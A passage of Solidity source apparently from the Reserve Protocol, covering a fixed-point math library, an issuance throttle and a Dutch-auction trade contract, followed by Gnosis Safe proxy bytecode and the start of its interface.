uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(x, y, rounding));\n }\n\n uint64 constant FIX_HALF = uint64(FIX_SCALE) / 2;\n\n /// Raise this uint192 to a nonnegative integer power. Requires that x_ <= FIX_ONE\n /// Gas cost is O(lg(y)), precision is +- 1e-18.\n /// @return x_ ** y\n // as-ints: x_ ** y / 1e18**(y-1) <- technically correct for y = 0. :D\n function powu(uint192 x_, uint48 y) internal pure returns (uint192) {\n require(x_ <= FIX_ONE);\n if (y == 1) return x_;\n if (x_ == FIX_ONE || y == 0) return FIX_ONE;\n uint256 x = uint256(x_) * FIX_SCALE; // x is D36\n uint256 result = FIX_SCALE_SQ; // result is D36\n while (true) {\n if (y & 1 == 1) result = (result * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n if (y <= 1) break;\n y = (y >> 1);\n x = (x * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n }\n return _safeWrap(result / FIX_SCALE);\n }\n\n /// Comparison operators...\n function lt(uint192 x, uint192 y) internal pure returns (bool) {\n return x < y;\n }\n\n function lte(uint192 x, uint192 y) internal pure returns (bool) {\n return x <= y;\n }\n\n function gt(uint192 x, uint192 y) internal pure returns (bool) {\n return x > y;\n }\n\n function gte(uint192 x, uint192 y) internal pure returns (bool) {\n return x >= y;\n }\n\n function eq(uint192 x, uint192 y) internal pure returns (bool) {\n return x == y;\n }\n\n function neq(uint192 x, uint192 y) internal pure returns (bool) {\n return x != y;\n }\n\n /// Return whether or not this uint192 is less than epsilon away from y.\n /// @return |x - y| < epsilon\n // as-ints: |x - y| < epsilon\n function near(\n uint192 x,\n uint192 y,\n uint192 epsilon\n ) internal pure returns (bool) {\n uint192 diff = x <= y ? y - x : x - y;\n return diff < epsilon;\n }\n\n // ================ Chained Operations ================\n // The operation foo_bar() always means:\n // Do foo() followed by bar(), and overflow only if the _end_ result doesn't fit in an uint192\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(uint192 x, int8 decimals) internal pure returns (uint256) {\n return shiftl_toUint(x, decimals, FLOOR);\n }\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint.\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n // Handle overflow cases\n if (x == 0) return 0; // always computable, no matter what decimals is\n if (decimals <= -42) return (rounding == CEIL ? 1 : 0);\n if (96 <= decimals) revert UIntOutOfBounds();\n\n decimals -= 18; // shift so that toUint happens at the same time.\n\n uint256 coeff = uint256(10**abs(decimals));\n return decimals >= 0 ? uint256(x * coeff) : uint256(_divrnd(x, coeff, rounding));\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(uint192 x, uint256 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE);\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE, rounding);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(uint192 x, uint192 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ, rounding);\n }\n\n /// Compute x * y / z avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z\n ) internal pure returns (uint192) {\n return muluDivu(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z\n ) internal pure returns (uint192) {\n return mulDiv(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n // === safe*() ===\n\n /// Multiply two fixes, rounding up to FIX_MAX and down to 0\n /// @param a First param to multiply\n /// @param b Second param to multiply\n function safeMul(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // untestable:\n // a will never = 0 here because of the check in _price()\n if (a == 0 || b == 0) return 0;\n // untestable:\n // a = FIX_MAX iff b = 0\n if (a == FIX_MAX || b == FIX_MAX) return FIX_MAX;\n\n // return FIX_MAX instead of throwing overflow errors.\n unchecked {\n // p and mul *are* Fix values, so have 18 decimals (D18)\n uint256 rawDelta = uint256(b) * a; // {D36} = {D18} * {D18}\n // if we overflowed, then return FIX_MAX\n if (rawDelta / b != a) return FIX_MAX;\n uint256 shiftDelta = rawDelta;\n\n // add in rounding\n if (rounding == RoundingMode.ROUND) shiftDelta += (FIX_ONE / 2);\n else if (rounding == RoundingMode.CEIL) shiftDelta += FIX_ONE - 1;\n\n // untestable (here there be dragons):\n // (below explanation is for the ROUND case, but it extends to the FLOOR/CEIL too)\n // A) shiftDelta = rawDelta + (FIX_ONE / 2)\n // shiftDelta overflows if:\n // B) shiftDelta = MAX_UINT256 - FIX_ONE/2 + 1\n // rawDelta + (FIX_ONE/2) = MAX_UINT256 - FIX_ONE/2 + 1\n // b * a = MAX_UINT256 - FIX_ONE + 1\n // therefore shiftDelta overflows if:\n // C) b = (MAX_UINT256 - FIX_ONE + 1) / a\n // MAX_UINT256 ~= 1e77 , FIX_MAX ~= 6e57 (6e20 difference in magnitude)\n // a <= 1e21 (MAX_TARGET_AMT)\n // a must be between 1e19 & 1e20 in order for b in (C) to be uint192,\n // but a would have to be < 1e18 in order for (A) to overflow\n if (shiftDelta < rawDelta) return FIX_MAX;\n\n // return FIX_MAX if return result would truncate\n if (shiftDelta / FIX_ONE > FIX_MAX) return FIX_MAX;\n\n // return _div(rawDelta, FIX_ONE, rounding)\n return uint192(shiftDelta / FIX_ONE); // {D18} = {D36} / {D18}\n }\n }\n\n /// Divide two fixes, rounding up to FIX_MAX and down to 0\n /// @param a Numerator\n /// @param b Denominator\n function safeDiv(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n if (a == 0) return 0;\n if (b == 0) return FIX_MAX;\n\n uint256 raw = _divrnd(FIX_ONE_256 * a, uint256(b), rounding);\n if (raw >= FIX_MAX) return FIX_MAX;\n return uint192(raw); // don't need _safeWrap\n }\n\n /// Multiplies two fixes and divide by a third\n /// @param a First to multiply\n /// @param b Second to multiply\n /// @param c Denominator\n function safeMulDiv(\n uint192 a,\n uint192 b,\n uint192 c,\n RoundingMode rounding\n ) internal pure returns (uint192 result) {\n if (a == 0 || b == 0) return 0;\n if (a == FIX_MAX || b == FIX_MAX || c == 0) return FIX_MAX;\n\n uint256 result_256;\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(a, b);\n if (hi >= c) return FIX_MAX;\n uint256 mm = mulmod(a, b, c);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = c & (0 - c);\n\n uint256 c_256 = uint256(c);\n // Warning: Should not access c below this line\n\n c_256 /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n result_256 = lo * r;\n\n // Apply rounding\n if (rounding == CEIL) {\n if (mm > 0) result_256 += 1;\n } else if (rounding == ROUND) {\n if (mm > ((c_256 - 1) / 2)) result_256 += 1;\n }\n }\n\n if (result_256 >= FIX_MAX) return FIX_MAX;\n return uint192(result_256);\n }\n}\n\n// ================ a couple pure-uint helpers================\n// as-ints comments are omitted here, because they're the same as @return statements, because\n// these are all pure uint functions\n\n/// Return (x*y/z), avoiding intermediate overflow.\n// Adapted from sources:\n// https://medium.com/coinmonks/4db014e080b1, https://medium.com/wicketh/afa55870a65\n// and quite a few of the other excellent \"Mathemagic\" posts from https://medium.com/wicketh\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return result x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z\n) pure returns (uint256 result) {\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(x, y);\n if (hi >= z) revert UIntOutOfBounds();\n uint256 mm = mulmod(x, y, z);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = z & (0 - z);\n z /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n result = lo * r;\n }\n}\n\n/// Return (x*y/z), avoiding intermediate overflow.\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = mulDiv256(x, y, z);\n if (rounding == FLOOR) return result;\n\n uint256 mm = mulmod(x, y, z);\n if (rounding == CEIL) {\n if (mm > 0) result += 1;\n } else {\n if (mm > ((z - 1) / 2)) result += 1; // z should be z-1\n }\n return result;\n}\n\n/// Return (x*y) as a \"virtual uint512\" (lo, hi), representing (hi*2**256 + lo)\n/// Adapted from sources:\n/// https://medium.com/wicketh/27650fec525d, https://medium.com/coinmonks/4db014e080b1\n/// @dev Intended to be internal to this library\n/// @return hi (hi, lo) satisfies hi*(2**256) + lo == x * y\n/// @return lo (paired with `hi`)\nfunction fullMul(uint256 x, uint256 y) pure returns (uint256 hi, uint256 lo) {\n unchecked {\n uint256 mm = mulmod(x, y, uint256(0) - uint256(1));\n lo = x * y;\n hi = mm - lo;\n if (mm < lo) hi -= 1;\n }\n}\n// slither-disable-end divide-before-multiply\n"
},
"contracts/libraries/NetworkConfigLib.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\n/**\n * @title NetworkConfigLib\n * @notice Provides network-specific configuration parameters\n */\nlibrary NetworkConfigLib {\n error InvalidNetwork();\n\n // Returns the blocktime based on the current network (e.g. 12s for Ethereum PoS)\n // See docs/system-design.md for discussion of handling longer or shorter times\n function blocktime() internal view returns (uint48) {\n uint256 chainId = block.chainid;\n // untestable:\n // most of the branches will be shown as uncovered, because we only run coverage\n // on local Ethereum PoS network (31337). Manual testing was performed.\n if (chainId == 1 || chainId == 3 || chainId == 5 || chainId == 31337) {\n return 12; // Ethereum PoS, Goerli, HH (tests)\n } else if (chainId == 8453 || chainId == 84531) {\n return 2; // Base, Base Goerli\n } else {\n revert InvalidNetwork();\n }\n }\n}\n"
},
"contracts/libraries/Throttle.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./Fixed.sol\";\n\nuint48 constant ONE_HOUR = 3600; // {seconds/hour}\n\n/**\n * @title ThrottleLib\n * A library that implements a usage throttle that can be used to ensure net issuance\n * or net redemption for an RToken never exceeds some bounds per unit time (hour).\n *\n * It is expected for the RToken to use this library with two instances, one for issuance\n * and one for redemption. Issuance causes the available redemption amount to increase, and\n * visa versa.\n */\nlibrary ThrottleLib {\n using FixLib for uint192;\n\n struct Params {\n uint256 amtRate; // {qRTok/hour} a quantity of RToken hourly; cannot be 0\n uint192 pctRate; // {1/hour} a fraction of RToken hourly; can be 0\n }\n\n struct Throttle {\n // === Gov params ===\n Params params;\n // === Cache ===\n uint48 lastTimestamp; // {seconds}\n uint256 lastAvailable; // {qRTok}\n }\n\n /// Reverts if usage amount exceeds available amount\n /// @param supply {qRTok} Total RToken supply beforehand\n /// @param amount {qRTok} Amount of RToken to use. Should be negative for the issuance\n /// throttle during redemption and for the redemption throttle during issuance.\n function useAvailable(\n Throttle storage throttle,\n uint256 supply,\n int256 amount\n ) internal {\n // untestable: amtRate will always be greater > 0 due to previous validations\n if (throttle.params.amtRate == 0 && throttle.params.pctRate == 0) return;\n\n // Calculate hourly limit\n uint256 limit = hourlyLimit(throttle, supply); // {qRTok}\n\n // Calculate available amount before supply change\n uint256 available = currentlyAvailable(throttle, limit);\n\n // Update throttle.timestamp if available amount changed or at limit\n if (available != throttle.lastAvailable || available == limit) {\n throttle.lastTimestamp = uint48(block.timestamp);\n }\n\n // Update throttle.lastAvailable\n if (amount > 0) {\n require(uint256(amount) <= available, \"supply change throttled\");\n available -= uint256(amount);\n // untestable: the final else statement, amount will never be 0\n } else if (amount < 0) {\n available += uint256(-amount);\n }\n throttle.lastAvailable = available;\n }\n\n /// @param limit {qRTok/hour} The hourly limit\n /// @return available {qRTok} Amount currently available for consumption\n function currentlyAvailable(Throttle storage throttle, uint256 limit)\n internal\n view\n returns (uint256 available)\n {\n uint48 delta = uint48(block.timestamp) - throttle.lastTimestamp; // {seconds}\n available = throttle.lastAvailable + (limit * delta) / ONE_HOUR;\n if (available > limit) available = limit;\n }\n\n /// @return limit {qRTok} The hourly limit\n function hourlyLimit(Throttle storage throttle, uint256 supply)\n internal\n view\n returns (uint256 limit)\n {\n Params storage params = throttle.params;\n\n // Calculate hourly limit as: max(params.amtRate, supply.mul(params.pctRate))\n limit = (supply * params.pctRate) / FIX_ONE_256; // {qRTok}\n if (params.amtRate > limit) limit = params.amtRate;\n }\n}\n"
},
"contracts/mixins/Versioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../interfaces/IVersioned.sol\";\n\n// This value should be updated on each release\nstring constant VERSION = \"3.3.0\";\n\n/**\n * @title Versioned\n * @notice A mix-in to track semantic versioning uniformly across contracts.\n */\nabstract contract Versioned is IVersioned {\n function version() public pure virtual override returns (string memory) {\n return VERSION;\n }\n}\n"
},
"contracts/plugins/trading/DutchTrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../../libraries/Fixed.sol\";\nimport \"../../libraries/NetworkConfigLib.sol\";\nimport \"../../interfaces/IAsset.sol\";\nimport \"../../interfaces/IBroker.sol\";\nimport \"../../interfaces/ITrade.sol\";\nimport \"../../mixins/Versioned.sol\";\n\ninterface IDutchTradeCallee {\n function dutchTradeCallback(\n address buyToken,\n // {qBuyTok}\n uint256 buyAmount,\n bytes calldata data\n ) external;\n}\n\nenum BidType {\n NONE,\n CALLBACK,\n TRANSFER\n}\n\n// A dutch auction in 4 parts:\n// 1. 0% - 20%: Geometric decay from 1000x the bestPrice to ~1.5x the bestPrice\n// 2. 20% - 45%: Linear decay from ~1.5x the bestPrice to the bestPrice\n// 3. 45% - 95%: Linear decay from the bestPrice to the worstPrice\n// 4. 95% - 100%: Constant at the worstPrice\n//\n// For a trade between 2 assets with 1% oracleError:\n// A 30-minute auction on a chain with a 12-second blocktime has a ~20% price drop per block\n// during the 1st period, ~0.8% during the 2nd period, and ~0.065% during the 3rd period.\n//\n// 30-minutes is the recommended length of auction for a chain with 12-second blocktimes.\n// 6 minutes, 7.5 minutes, 15 minutes, 1.5 minutes for each pariod respectively.\n//\n// Longer and shorter times can be used as well. The pricing method does not degrade\n// beyond the degree to which less overall blocktime means less overall precision.\n\nuint192 constant FIVE_PERCENT = 5e16; // {1} 0.05\nuint192 constant TWENTY_PERCENT = 20e16; // {1} 0.2\nuint192 constant TWENTY_FIVE_PERCENT = 25e16; // {1} 0.25\nuint192 constant FORTY_FIVE_PERCENT = 45e16; // {1} 0.45\nuint192 constant FIFTY_PERCENT = 50e16; // {1} 0.5\nuint192 constant NINETY_FIVE_PERCENT = 95e16; // {1} 0.95\n\nuint192 constant MAX_EXP = 6502287e18; // {1} (1000000/999999)^6502287 = ~666.6667\nuint192 constant BASE = 999999e12; // {1} (999999/1000000)\nuint192 constant ONE_POINT_FIVE = 150e16; // {1} 1.5\n\n/**\n * @title DutchTrade\n * @notice Implements a wholesale dutch auction via a 4-piecewise falling-price mechansim.\n * The overall idea is to handle 4 cases:\n * 1. Price manipulation of the exchange rate up to 1000x (eg: via a read-only reentrancy)\n * 2. Price movement of up to 50% during the auction\n * 3. Typical case: no significant price movement; clearing price within expected range\n * 4. No bots online; manual human doing bidding; additional time for tx clearing\n *\n * Case 1: Over the first 20% of the auction the price falls from ~1000x the best plausible\n * price down to 1.5x the best plausible price in a geometric series.\n * This period DOES NOT expect to receive a bid; it just defends against manipulated prices.\n * If a bid occurs during this period, a violation is reported to the Broker.\n * This is still safe for the protocol since other trades, with price discovery, can occur.\n *\n * Case 2: Over the next 20% of the auction the price falls from 1.5x the best plausible price\n * to the best plausible price, linearly. No violation is reported if a bid occurs. This case\n * exists to handle cases where prices change after the auction is started, naturally.\n *\n * Case 3: Over the next 50% of the auction the price falls from the best plausible price to the\n * worst price, linearly. The worst price is further discounted by the maxTradeSlippage.\n * This is the phase of the auction where bids will typically occur.\n *\n * Case 4: Lastly the price stays at the worst price for the final 5% of the auction to allow\n * a bid to occur if no bots are online and the only bidders are humans.\n *\n * To bid:\n * 1. Call `bidAmount()` view to check prices at various blocks.\n * 2. Provide approval of sell tokens for precisely the `bidAmount()` desired\n * 3. Wait until the desired block is reached (hopefully not in the first 20% of the auction)\n * 4. Call bid()\n */\ncontract DutchTrade is ITrade, Versioned {\n using FixLib for uint192;\n using SafeERC20 for IERC20Metadata;\n\n TradeKind public constant KIND = TradeKind.DUTCH_AUCTION;\n\n // solhint-disable-next-line var-name-mixedcase\n uint48 public immutable ONE_BLOCK; // {s} 1 block based on network\n\n BidType public bidType; // = BidType.NONE\n\n TradeStatus public status; // reentrancy protection\n\n IBroker public broker; // The Broker that cloned this contract into existence\n ITrading public origin; // the address that initialized the contract\n\n // === Auction ===\n IERC20Metadata public sell;\n IERC20Metadata public buy;\n uint192 public sellAmount; // {sellTok}\n\n // The auction runs from [startBlock, endTime], inclusive\n uint256 public startBlock; // {block} when the dutch auction begins (one block after init())\n uint256 public endBlock; // {block} when the dutch auction ends if no bids are received\n uint48 public endTime; // {s} not used in this contract; needed on interface\n\n uint192 public bestPrice; // {buyTok/sellTok} The best plausible price based on oracle data\n uint192 public worstPrice; // {buyTok/sellTok} The worst plausible price based on oracle data\n\n // === Bid ===\n address public bidder;\n // the bid amount is just whatever token balance is in the contract at settlement time\n\n // This modifier both enforces the state-machine pattern and guards against reentrancy.\n modifier stateTransition(TradeStatus begin, TradeStatus end) {\n require(status == begin, \"Invalid trade state\");\n status = TradeStatus.PENDING;\n _;\n assert(status == TradeStatus.PENDING);\n status = end;\n }\n\n // === Auction Sizing Views ===\n\n /// @return {qSellTok} The size of the lot being sold, in token quanta\n function lot() public view returns (uint256) {\n return sellAmount.shiftl_toUint(int8(sell.decimals()));\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular block\n /// @param blockNumber {block} The block number of the bid\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function bidAmount(uint256 blockNumber) external view returns (uint256) {\n return _bidAmount(_price(blockNumber));\n }\n\n // ==== Constructor ===\n\n constructor() {\n ONE_BLOCK = NetworkConfigLib.blocktime();\n\n status = TradeStatus.CLOSED;\n }\n\n // === External ===\n\n /// @param origin_ The Trader that originated the trade\n /// @param sell_ The asset being sold by the protocol\n /// @param buy_ The asset being bought by the protocol\n /// @param sellAmount_ {qSellTok} The amount to sell in the auction, in token quanta\n /// @param auctionLength {s} How many seconds the dutch auction should run for\n function init(\n ITrading origin_,\n IAsset sell_,\n IAsset buy_,\n uint256 sellAmount_,\n uint48 auctionLength,\n TradePrices memory prices\n ) external stateTransition(TradeStatus.NOT_STARTED, TradeStatus.OPEN) {\n assert(\n address(sell_) != address(0) &&\n address(buy_) != address(0) &&\n auctionLength >= 20 * ONE_BLOCK\n ); // misuse by caller\n\n // Only start dutch auctions under well-defined prices\n require(prices.sellLow != 0 && prices.sellHigh < FIX_MAX / 1000, \"bad sell pricing\");\n require(prices.buyLow != 0 && prices.buyHigh < FIX_MAX / 1000, \"bad buy pricing\");\n\n broker = IBroker(msg.sender);\n origin = origin_;\n sell = sell_.erc20();\n buy = buy_.erc20();\n\n require(sellAmount_ <= sell.balanceOf(address(this)), \"unfunded trade\");\n sellAmount = shiftl_toFix(sellAmount_, -int8(sell.decimals())); // {sellTok}\n\n uint256 _startBlock = block.number + 1; // start in the next block\n startBlock = _startBlock; // gas-saver\n\n uint256 _endBlock = _startBlock + auctionLength / ONE_BLOCK; // FLOOR; endBlock is inclusive\n endBlock = _endBlock; // gas-saver\n\n endTime = uint48(block.timestamp + ONE_BLOCK * (_endBlock - _startBlock + 1));\n\n // {buyTok/sellTok} = {UoA/sellTok} * {1} / {UoA/buyTok}\n uint192 _worstPrice = prices.sellLow.mulDiv(\n FIX_ONE - origin.maxTradeSlippage(),\n prices.buyHigh,\n FLOOR\n );\n uint192 _bestPrice = prices.sellHigh.div(prices.buyLow, CEIL); // no additional slippage\n assert(_worstPrice <= _bestPrice);\n worstPrice = _worstPrice; // gas-saver\n bestPrice = _bestPrice; // gas-saver\n }\n\n /// Bid for the auction lot at the current price; settle trade in protocol\n /// @dev Caller must have provided approval\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bid() external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.TRANSFER;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer in buy tokens from bidder\n buy.safeTransferFrom(msg.sender, address(this), amountIn);\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Bid with callback for the auction lot at the current price; settle trade in protocol\n /// Sold funds are sent back to the callee first via callee.dutchTradeCallback(...)\n /// Balance of buy token must increase by bidAmount(current block) after callback\n ///\n /// @dev Caller must implement IDutchTradeCallee\n /// @param data {bytes} The data to pass to the callback\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.CALLBACK;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer sell tokens to bidder\n sell.safeTransfer(bidder, lot()); // {qSellTok}\n\n uint256 balanceBefore = buy.balanceOf(address(this)); // {qBuyTok}\n IDutchTradeCallee(bidder).dutchTradeCallback(address(buy), amountIn, data);\n require(\n amountIn <= buy.balanceOf(address(this)) - balanceBefore,\n \"insufficient buy tokens\"\n );\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Settle the auction, emptying the contract of balances\n /// @return soldAmt {qSellTok} Token quantity sold by the protocol\n /// @return boughtAmt {qBuyTok} Token quantity purchased by the protocol\n function settle()\n external\n stateTransition(TradeStatus.OPEN, TradeStatus.CLOSED)\n returns (uint256 soldAmt, uint256 boughtAmt)\n {\n require(msg.sender == address(origin), \"only origin can settle\");\n require(bidder != address(0) || block.number > endBlock, \"auction not over\");\n\n if (bidType == BidType.CALLBACK) {\n soldAmt = lot(); // {qSellTok}\n } else if (bidType == BidType.TRANSFER) {\n soldAmt = lot(); // {qSellTok}\n sell.safeTransfer(bidder, soldAmt); // {qSellTok}\n }\n\n // Transfer remaining balances back to origin\n boughtAmt = buy.balanceOf(address(this)); // {qBuyTok}\n buy.safeTransfer(address(origin), boughtAmt); // {qBuyTok}\n sell.safeTransfer(address(origin), sell.balanceOf(address(this))); // {qSellTok}\n }\n\n /// Anyone can transfer any ERC20 back to the origin after the trade has been closed\n /// @dev Escape hatch in case of accidentally transferred tokens after auction end\n /// @custom:interaction CEI (and respects the state lock)\n function transferToOriginAfterTradeComplete(IERC20Metadata erc20) external {\n require(status == TradeStatus.CLOSED, \"only after trade is closed\");\n erc20.safeTransfer(address(origin), erc20.balanceOf(address(this)));\n }\n\n /// @return true iff the trade can be settled.\n // Guaranteed to be true some time after init(), until settle() is called\n function canSettle() external view returns (bool) {\n return status == TradeStatus.OPEN && (bidder != address(0) || block.number > endBlock);\n }\n\n // === Private ===\n\n /// Return the price of the auction at a particular timestamp\n /// @param blockNumber {block} The block number to get price for\n /// @return {buyTok/sellTok}\n function _price(uint256 blockNumber) private view returns (uint192) {\n uint256 _startBlock = startBlock; // gas savings\n uint256 _endBlock = endBlock; // gas savings\n require(blockNumber >= _startBlock, \"auction not started\");\n require(blockNumber <= _endBlock, \"auction over\");\n\n /// Price Curve:\n /// - first 20%: geometrically decrease the price from 1000x the bestPrice to 1.5x it\n /// - next 25%: linearly decrease the price from 1.5x the bestPrice to 1x it\n /// - next 50%: linearly decrease the price from bestPrice to worstPrice\n /// - last 5%: constant at worstPrice\n\n uint192 progression = divuu(blockNumber - _startBlock, _endBlock - _startBlock); // {1}\n\n // Fast geometric decay -- 0%-20% of auction\n if (progression < TWENTY_PERCENT) {\n uint192 exp = MAX_EXP.mulDiv(TWENTY_PERCENT - progression, TWENTY_PERCENT, ROUND);\n\n // bestPrice * ((1000000/999999) ^ exp) = bestPrice / ((999999/1000000) ^ exp)\n // safe uint48 downcast: exp is at-most 6502287\n // {buyTok/sellTok} = {buyTok/sellTok} / {1} ^ {1}\n return bestPrice.mulDiv(ONE_POINT_FIVE, BASE.powu(uint48(exp.toUint(ROUND))), CEIL);\n // this reverts for bestPrice >= 6.21654046e36 * FIX_ONE\n } else if (progression < FORTY_FIVE_PERCENT) {\n // First linear decay -- 20%-45% of auction\n // 1.5x -> 1x the bestPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n uint192 highPrice = _bestPrice.mul(ONE_POINT_FIVE, CEIL);\n return\n highPrice -\n (highPrice - _bestPrice).mulDiv(progression - TWENTY_PERCENT, TWENTY_FIVE_PERCENT);\n } else if (progression < NINETY_FIVE_PERCENT) {\n // Second linear decay -- 45%-95% of auction\n // bestPrice -> worstPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n return\n _bestPrice -\n (_bestPrice - worstPrice).mulDiv(progression - FORTY_FIVE_PERCENT, FIFTY_PERCENT);\n }\n\n // Constant price -- 95%-100% of auction\n return worstPrice;\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular price\n /// @param price {buyTok/sellTok}\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function _bidAmount(uint192 price) public view returns (uint256) {\n // {qBuyTok} = {sellTok} * {buyTok/sellTok} * {qBuyTok/buyTok}\n return sellAmount.mul(price, CEIL).shiftl_toUint(int8(buy.decimals()), CEIL);\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
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608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
